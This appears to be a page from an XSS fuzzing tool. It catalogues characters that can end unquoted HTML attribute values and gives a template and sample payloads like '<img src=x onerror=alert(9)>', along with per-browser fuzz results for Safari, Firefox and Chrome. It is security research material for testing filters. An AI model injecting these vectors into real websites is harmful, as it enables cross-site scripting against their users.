Characters that end unencapsulated HTML attribute values



Characters that can be used to end unencapsulated HTML attribute values.
Created by: ola456
Created on: Wednesday, May 14, 2025 at 8:09:24 AM
Updated on: Thursday, May 15, 2025 at 6:28:05 AM
Vector type: XSS
Vector charset: UTF-8
Template used:
<img src=x$[chr]onerror=log($[i])>
Your browser was detected as:
Detecting... Detecting... Detecting... Detecting...
Sample payloads
<img src=x onerror=alert(9)>
<img src=x
onerror=alert(10)>
<img src=xonerror=alert(12)>
<img src=x
onerror=alert(13)>
<img src=x onerror=alert(32)>
Fuzz results

Safari 18.4 desktop macOS 10.15.7
Updated
Wed May 14 2025
Found 5 results
Loading...

Firefox 138.0 desktop macOS 10.15
Updated
Wed May 14 2025
Found 5 results
Loading...

Chrome 136.0.0.0 desktop macOS 10.15.7
Updated
Wed May 14 2025
Found 5 results
Loading...